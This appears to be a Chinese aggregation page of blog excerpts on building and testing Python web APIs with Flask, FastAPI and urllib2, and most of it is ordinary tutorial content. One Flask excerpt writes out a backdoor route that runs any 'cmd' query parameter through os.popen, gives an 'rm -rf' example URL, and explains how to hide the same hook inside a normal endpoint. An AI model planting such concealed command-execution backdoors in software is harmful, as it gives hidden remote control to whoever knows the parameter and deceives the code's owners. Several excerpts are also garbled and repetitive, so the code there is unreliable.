-
2022-03-26 23:51:41
很多时候,我们一直码代码会花费很多时间,但是我们自己写一个接口的话,直接调用,会方便快捷不少。
还是直接上代码吧:
def add(num1,num2): return num1+num2 def sub(num1,num2): return num1-num2 def getmax(num1,num2): return num1 if num1>num2 else num2 def Test(go,num1,num2): #接口,不变的 return go(num1,num2) print(Test(add,1,2)) print(Test(sub,10,5)) print(Test(getmax,10,5))
大家自己可以用来做更复杂的功能
更多相关内容 -
如何用python写接口
2021-01-14 22:48:07如何用python写接口?具体步骤如下:1、实例化server2、装饰器下面的函数变为一个接口3、启动服务开发工具和流程:python库:flask =》实例化server:server = flask.Flask(__name__) =》@server.route('/index',...如何用python写接口?具体步骤如下:
1、实例化server
2、装饰器下面的函数变为一个接口
3、启动服务
开发工具和流程:
python库:flask =》实例化server:server = flask.Flask(__name__) =》@server.route('/index',methods=['post'])
=》def index(arg):{}
例子:import os
@server.route('/error',methods=['get'])
def cmd():
cmd = flask.request.values.get('cmd') # 接口入参
res = os.popen(cmd) # 执行用户命令
return res.read() # 返回执行结果
# http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件
# 隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
# 默认可以不传,一但传了再res = os.popen(cmd)
server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务
# debug=True,改了代码后,不用重启,它会自动重启
# 'host='0.0.0.0'别人可以通过IP访问
-
python 接口自动化测试脚本demo
2018-05-14 10:49:13python 接口自动化测试python 接口自动化测试python 接口自动化测试python 接口自动化测试python 接口自动化测试python 接口自动化测试python 接口自动化测试python 接口自动化测试python 接口自动化测试python 接口... -
Python简单写接口
2021-08-31 18:28:23一、python3写一个http接口服务,给别人调用3 这次选择fastapi,FastAPI是一个现代的、快速(高性能)的web框架,用于基于标准Python类型提示使用Python 3.6+构建api。具有快速、快速编码、更少的错误、直观、简单...一、python3写一个http接口服务,给别人调用3
这次选择fastapi,FastAPI是一个现代的、快速(高性能)的web框架,用于基于标准Python类型提示使用Python 3.6+构建api。具有快速、快速编码、更少的错误、直观、简单、简便、健壮。简易而且本地win10能够跑起来。
二、FastAPI的get接口代码实现
1. 安装: pip install fastapi
pip install uvicorn
2. 代码:
# !/usr/bin/python
# -*- coding: utf-8 -*-
# @time : 2019/11/12 21:27
# @author : Mo
# @function: get service of fastapi
from fastapi import FastAPI
app = FastAPI()
@app.get('/test/a={a}/b={b}')
def calculate(a: int=None, b: int=None):
c = a + b
res = {"res":c}
return res
if __name__ == '__main__':
import uvicorn
uvicorn.run(app=app,
host="0.0.0.0",
port=8080,
workers=1)
3. 接口访问:http://127.0.0.1:8080/test/a=1/b=4浏览器访问结果:
postman访问结果:
三、FastAPI的post接口代码实现
1. 安装: pip install fastapi
pip install uvicorn
2. 代码:
# !/usr/bin/python
# -*- coding: utf-8 -*-
# @time : 2019/11/12 21:27
# @author : Mo
# @function: post service of fastapi
from pydantic import BaseModel
from fastapi import FastAPI
app = FastAPI()
class Item(BaseModel):
a: int = None
b: int = None
@app.post('/test')
def calculate(request_data: Item):
a = request_data.a
b = request_data.b
c = a + b
res = {"res":c}
return res
if __name__ == '__main__':
import uvicorn
uvicorn.run(app=app,
host="0.0.0.0",
port=8080,
workers=1)
3. 接口访问:http://127.0.0.1:8080/testpostman访问结果:
————————————————
版权声明:本文为CSDN博主「Macropodus」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/rensihui/article/details/103038869 -
如何用python进行接口测试(详细教程)
2022-05-16 16:11:34),现在找工作好多公司都要求有接口测试经验,也有好多人问我(也就两三个人)什么是接口测试,本着不懂也要装懂的态度,我会说:所谓接口测试就是通过测试不同情况下的入参与之相应的出参信息来判断接口是否符合或...前言
其实我觉得接口测试很简单,比一般的功能测试还简单(这话我先这样说,以后可能会删O(∩_∩)O哈!),现在找工作好多公司都要求有接口测试经验,也有好多人问我(也就两三个人)什么是接口测试,本着不懂也要装懂的态度,我会说:所谓接口测试就是通过测试不同情况下的入参与之相应的出参信息来判断接口是否符合或满足相应的功能性、安全性要求。
我为啥说接口测试比功能测试简单呢,因为功能测试是从页面输入值,然后通过点击按钮或链接等传值给后端,而且功能测试还要测UI、前端交互等功能,但接口测试没有页面,它是通过接口规范文档上的调用地址、请求参数,拼接报文,然后发送请求,检查返回结果,所以它只需测入参和出参就行了,相对来说简单了不少。
正好最近在做接口测试,之前公司的方案是使用postman进行接口测试。但是伟大的墙导致我们只能用离线版postman。。然后一个很长很长的接口列表,一个接一个的访问。我的天哪。。所以萌生了一个想法,使用python编写一套接口测试脚本,设置接口列表,然后逐条访问,输出日志。
第一个坑:
POST 和 GET----GET一般用于获取/查询资源信息,而POST一般用于更新资源信息|Get是向服务器发索取数据的一种请求,而Post是向服务器提交数据的一种请求。
做过接口测试或者做过前端的人都知道,接口的访问方式是不一致的,所以才会使用postman来进行接口测试,因为它可以设置post和get方式。使用python模拟这俩种访问方式是重中之重。先说GET方式。GET方式就比较简单了,把接口放进浏览器地址栏,点下回车就完成了一次GET。所以就需要使用python访问URL就可以模拟一次GET 测试。
1 import urllib2 2 url_save = 'http://www.baidu.com/' 3 try: 4 s_save = urllib2.urlopen(url_save).read() 5 print s_save 6 except urllib2.HTTPError, e: 7 print e.code 8 except urllib2.URLError, e: 9 print str(e)
如上所示就完成了一次GET请求,调用urllib2库,然后将一个字符串形式的URL传给urllib2.urlopen函数,最后使用read()方法将GET回来的数据存储起来。
然后说说POST。其实在python的urllib2库中,我们刚刚所使用的urlopen函数还有其他几样不是必选的入参,因为这些入参给定了初始化的值:
1 def urlopen(url, data=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT, 2 cafile=None, capath=None, cadefault=False, context=None):
如上代码,urllib库有一个很智能的毛病。data不给值,访问方式就是GET,data给了值,方式就会变成POST;所以模拟POST 方式的代码如下:
import urllib import urllib2 url = 'http://www.example.com' # values的形式:name:value values = {'**' : '***', '**' : '***', '**' : '***' } #使用urllib.urlencode函数对values字典进行处理,最终形式为:**=***&**=*** data = urllib.urlencode(values) #如果对data顺序有要求,建议自己拼接data req = urllib2.Request(url, data) response = urllib2.urlopen(req) the_page = response.read()
就像如上代码,把POST方式所需要的数据写到data参数中去,POST方式就模拟成功了。
第二个坑:cookie的使用
使用python获取cookie所需要的库叫做cookielib。获取cookie的例子:
1 # 这里有四种CookieJar,CookieJar是最原始的 2 cookie_use = cookielib.CookieJar() 3 handler = urllib2.HTTPCookieProcessor(cookie_use) 4 # 使用绑定好CookieJar的handler创建一个opener 5 opener = urllib2.build_opener(handler) 6 # 将opener安装到urllib2中 7 urllib2.install_opener(opener) 8 # 使用安装好的urllib2访问某一网站获取cookie 9 urllib2.urlopen('https://....../login') 10 #这个时候cookie已经被CookieJar获取到了 11 print cookie_use
在下一步,将获取到的cookie绑定到opener头中:
1 ''' 2 将获取到的cookie绑定到opener,上一步获取的cookie并不满足如下格式, 3 需要自己进行字符串的切片和拼接 4 ''' 5 opener.addheaders.append(('Cookie', 'name=***&888=888'))
现在的opener就可以用来访问任意需要登录的网站了!
功能:功能实现,实现与设计一致, 接口通过性测试
健壮性: 边界值,容错性
性能: 并发及压测
稳定性: 长期运行的稳定性
安全性: SQL注入, session依赖, 数字签名, http接口的安全性
常见接口种类#
Http/Https接口: 通过http/https协议传送接口数据(通常按字符串/二进制传输), 如常见的网页表单, https安全性更好
RESTful Api: REST表述性状态传递. 一种设计风格,基于http/https协议, 把一切接口视为资源, 接口要分版本,在统一的域名下管理, 不同的方法(get/post..)做不同的事,通常请求及响应使用json格式
Web Service: SOAP简单面向对象协议, 基于http实现的一种RPC方案.接口返回一些对象,可以直接通过操作对象,实现我们需要的业务处理.使用xml格式传输数据
RPC接口: RPC为远程方法调用, 有不同的实现方案,基于TCP/Http协议的都有. RPC可以想我们本地导入和调用对象一样使用. Dubbo接口也是一种RPC接口.
常见接口数据类型#
请求数据类型(Content-Type):application/x-www-form-urlencoded: 常规只有文本的网页表单application/json: RESTful Api常用格式, 结构清晰, 含有多层嵌套multipart/form-data: 既有文本,又有上传文件或富文本框的混合数据表单text/xml: xml格式, RPC接口常用格式
响应数据类型string/html: 返回字符串或网页源码json: RESTful Api常用响应格式, 结构清晰xml: RPC接口常用格式
常见接口安全验证方式#
Auth_1.0/Auth_2.0: 通用接口授权方式
Session依赖: 需要登录之后才能进行接口操作
Token验证: 先要使用自己的appid/appsecret通过获取token接口验证身份获取一个token(令牌,有一定有效期), 然后带着token访问接口
数字签名: 将原本的参数按一定规则进行组合,配合时间戳或appsecret, 通过加密算法生成一个签名sign, 携带签名进行接口请求
常见接口请求方法#
GET: 获取资源
POST: 修改资源
PUT: 上传资源
DELETE: 删除资源
HEAD: 只请求页面首部
PATCH: 补丁
OPTIONS: 运行客户端查看服务器性能
......常见状态码(RESTful规范)#
- 200系: 成功200 OK - [GET]:获取资源成功201 CREATED - [POST/PUT/PATCH]:创建/修改成功202 Accepted - [*]:任务接受204 NO CONTENT - [DELETE]:删除成功
- 300系: 重定向301 Moved Permanently: 永久重定向302 Found: 临时重定向
- 400: 资源错误400 INVALID REQUEST - [POST/PUT/PATCH]:用户请求错误401 Unauthorized - [*]:没有权限(鉴权失败, 接口层)403 Forbidden - [*] 资源禁止访问(服务器层,没有访问权限)404 NOT FOUND - [*]:资源不存在405 Method Not Allowd: 访问的方法不允许, 如用POST访问只支持GET请求的接口406 Not Acceptable - [GET]:用户请求的格式不可得(比如用户请求JSON格式,但是只有XML格式)410 Gone -[GET]:资源被永久删除422 Unprocesable entity - [POST/PUT/PATCH] 当创建对象时,发生验证错误
- 500系: 服务器内部错误(接口崩溃或有Bug)500 INTERNAL SERVER ERROR - [*]:服务器发生错误
接口业务类型#
- 返回数据型接口: 只从数据库读取数据
- 业务操作型接口: 需要写数据库(接口测试需要要涉及参数化或环境清理)
快速上手接口测试#
获取接口文档#
Wiki
Word文档
Postman导出
抽象接口定义
接口管理平台
接口文档分析#
- 功能分析: 是否能满足业务(是否缺少某个前端需要的参数), 是否能满足所有业务场景(是否有漏开发接口, 比如只开发了单品接口,没开发套餐接口)
- 设计分析: 是否有不规范字段(如,nickname, passwd);不规范格式(如sex,用男,女而不是1,2);是否有易混淆字段(如amount和total);是否有单词拼错;是否有和数据库字段对应但名称不一样的(易错)
- 接口分析: 协议类型(http要考虑安全);请求方法(是否规范);请求编码格式(表单/Json/xml, 很多接口文档不声明,导致测试调试不通);接口授权方式;接口业务类型(关系到是否需要做参数化或环境清理); 返回值类型及结构(关系到怎么断言)
- 接口依赖: 需要什么环境准备和业务场景, 依赖那些接口, 有那些动态数据, 预备环境怎么保障
- 参数分析: 各个参数的参数类型,组成规则,是否允许不传,是否可以为空, 是否允许多传参
- 业务分析: 如price字段必须和数据库中的商品的price字段一致,才能校验通过
- 非功能性: 接口的技术实现方案是否合理, 能否满足高并发的性能要求, 边界值/极限值的处理是否合适, 是否前后端都有数据格式校验等(如精确度为秒级的订单号生成器,在高并发下会导致生成同一订单号的问题)
- 其他: 如反爬,对headers的一些限制和校验, ip等限制
编写接口用例#
Excel/TestLink/禅道
- 单接口用例: 正常数据/边界数据/异常数据(健壮性)/并发(一致性)/性能/安全性(抓包截取伪造/SQL注入/跨域请求)
- 场景用例: 列出常见的用户场景, 用接口进行覆盖, 业务场景压测(寻找某个环节的性能瓶颈)
TestCase
Url
Method
DataType
a
b
Excepted
Actual
Status
test_add_normal
/api/add/
GET
Url
3
5
8
test_add_zero
/api/add/
POST
FORM
0
0
0
test_add_negetive
/api/add/
POST
FORM
-3
5
2
test_add_float
/api/add/
POST
FORM
3.2
5.2
8.4
test_add_null
/api/add/
POST
FORM
0
执行接口测试#
- Postman: 功能调试
- Jmeter: 性能
结语
这篇贴子到这里就结束了,最后,希望看这篇帖子的朋友能够有所收获。欢迎留言,或是关注我的专栏和我交流。
-
使用python写一个接口
2019-01-05 15:50:30主要思路是:先从数据库取出来数据,然后进行数据处理,最后写接口供别人使用。 代码奉上 #_ * _coding = utf - 8 _ * #__author__ = 'chubby_superman' import pymysql from flask import Flask ... -
使用python实现接口测试
2021-10-16 09:51:56code) 获取头信息: print("响应头信息:",res.headers) 获取响应文本: print("响应数据文本:",res.text) 三、python接口测试框架的设计思路 (1)请求发送与响应获取:requests库 (2)测试用用例管理:unittest ... -
Python web接口开发与测试
2018-04-05 21:39:11Python web接口开发与测试(电子版)Python web接口开发与测试(电子版)Python web接口开发与测试(电子版)Python web接口开发与测试(电子版)Python web接口开发与测试(电子版)Python web接口开发与测试(电子... -
写一个简单的python调用接口(API)
2020-11-27 14:27:59ensure_ascii=False) # 功能函数 def tt(name, age): result_str = "%s今年%s岁" % (name, age) return result_str if __name__ == '__main__': app.run(debug=False, host='0.0.0.0', port=5000) Postman接口测试 ... -
自己用python写接口,用postman做接口测试,Jmeter做性能测试 (一)
2019-04-08 11:31:14一、flask flask是一个web框架,其他...二、写接口 1、先写个简单的接口,测试下 server = flask.Flask(__name__) #__name__代表当前的python文件。把当前的python文件当做一个服务启动 @server.route('/index... -
使用python写一个简单的接口并调用
2021-02-22 14:44:16容若写的第一篇博客-使用python写一个简单的接口并调用 今天下午写了一个最简单的接口调用,访问某接口之后返回一个”hello world“ 在此想要记录一下 from flask import Flask app=Flask(__name__) @app.route("/... -
Python写web接口
2021-03-06 21:02:34前言最近在看有关python的一些知识。是关于深度学习的东西,但是很不明白,因为自己的数学功底太差。之前总是想搞一些关于算法的东西,又不会,这就想起来了大二实训老师的话。这个老师挺好,和我聊了两堂课,讲了... -
Python Flask接口开发
2021-01-26 20:02:243. 定义接口访问路径及访问方式:@api.route('/index',methods=['get/post/PUT/DELETE']) 4. 定义函数,注意需与路径的名称一致,设置返回类型并支持中文:def index(): return json.dumps(ren,ensure_ascii=False) ... -
python 写接口,两种跨域配置方便前后端测试开发
2018-06-04 22:23:45/usr/bin/env python # -*- coding:utf8 -*- import flask import os import sys from flask import request, jsonify, Response from flask_cors import CORS interface_path = os.path.dirname(__file__) sys...... -
Python接口自动化
2021-12-12 16:38:314.1 使用python实现接口自动化 如果不了解接口测试可参考https://ke.qq.com/course/4092904 使用Python的request库实现接口测试: import json import requests #使用session管理: #1.可以自动关联set-cookie里面的... -
python写api接口实战
2022-01-16 14:13:15定义接口访问路径及访问方式:@api.route(’/index’,methods=[‘get/post/PUT/DELETE’]) 定义函数,注意需与路径的名称一致,设置返回类型并支持中文:def index(): return json.dumps(ren,ensure_ascii=False) 三... -
python如何写接口
2020-11-30 08:00:21python的类是可以写任意个方法的定义一个接口对继承类进行约束,接口里有什么方法,继承类就必须有什么方法,接口中不能任何功能代码class Interface:def f1(self):'''to do something:return:'''class Something... -
接口调用 -- 基于python的Flask实现 -- 让别人调用自己写的接口
2020-12-09 00:52:58往往有些时候,需要在本地将接口部署好,让别人通过网关进行访问我们的接口,进行将程序执行。。。Flask轻量级框架帮我们这个问题1.首先本地创建一个需要进行接口调用的helloword.py文件,并且使用Flask# 导入Flask... -
python编写一个接口,链接mysql数据库查询数据
2022-02-01 17:47:071、首先,使用python查询mysql数据库代码如下: import MySQLdb def getcontent(): db = MySQLdb.connect('localhost', 'root', '1qaz!QAZ', 'zlnewschema', charset='utf8') cursor = db.cursor() sql = '... -
python开发【Flask】快速入门接口
2022-04-08 18:54:21快速入门python开发接口 -
python脚本实现接口自动化轻松搞定上千条接口用例
2020-11-21 01:00:24接口自动化目前是测试圈主流的一个话题,我也在网上搜索了很多关于自动化的关键词,大多数博主分享的python做接口自动化都是以开源的框架,比如:pytest、unittest+ddt(数据驱动) 最常见的。这些框架的缺陷太多,... -
python接口自动化(八)--发送post请求的接口(详解)
2021-10-19 08:48:15上篇介绍完发送get请求的接口,大家必然联想到发送post请求的接口也不会太难,被聪明的你又猜到了。答案是对的,虽然发送post请求的参考例子很简单,但是实际遇到的情况却是很复杂的,因为所有系统或者软件、网站... -
python3写一个http接口服务(get, post),给别人调用2
2019-11-12 20:46:00一、python3写一个http接口服务,给别人调用2 这次选择flask,Flask是一个用于构建web应用程序的Python微框架,是一个轻量级的WSGI web应用程序框架。它的目的是使web入门变得快速和容易,并能够扩展到复杂的应用... -
python3.6写一个http接口服务,给别人调用1
2018-05-28 01:18:19一、python3.6写一个http接口服务,给别人调用1 首先推荐tornado,Tornado是一个Python web框架和异步网络库,最初在FriendFeed开发。通过使用无阻塞网络I/O,Tornado可以扩展到数万个开放连接,使其成为长轮询、... -
Python实现接口自动化
2019-07-22 09:35:26前几天,公司重构一个接口。测试这边开始编写接口自动化脚本,由于第一次编写,没有任何经验。好在遇到大佬,帮忙了一波。甚是感谢。 不多BB了,直接进入正题,这次的接口是一个查询接口,接口参数多的一批,还有... -
Python接口开发实现步骤详解
2020-12-28 22:27:11更多编程教程请到:菜鸟教程 ...友情链接: ... 一、操作步骤 1. 导入:import flask,json 2. 实例化:api = flask.Flask(__name__) 3. 定义接口访问路径及访问方式:@api.route('/index',methods=['get/post/P -
python接口自动化
2020-05-13 17:46:47使用excel进行用例管理,客户端操作。 一,用例模板 如下图为用例执行结果,用例文件与下图数据一样,只是没有对执行结果着色。 模板说明: 图中第2行红色字体为关键字,不...第六部分部分为接口变量,如B接口需要用到A -
python 发送请求到接口实现数据和文件的传输
2020-12-25 15:45:51} 3.2如果传输的数据中包含文件数据 3.2.1 仅仅传输文件 python def post_file(url, file_path): with open(file_path, 'rb') as f: result = requests.post(url, files={'file': f}) return result r=post_file(... -
python如何通过flask写一个接口让别人调用?
2019-01-15 17:30:13python如何通过flask写一个接口让别人调用? 别人传入一张图片,我是别后返回结果 -
python写socket通信传输数据入门测试
2022-03-01 13:54:50Socket常用函数接口调用过程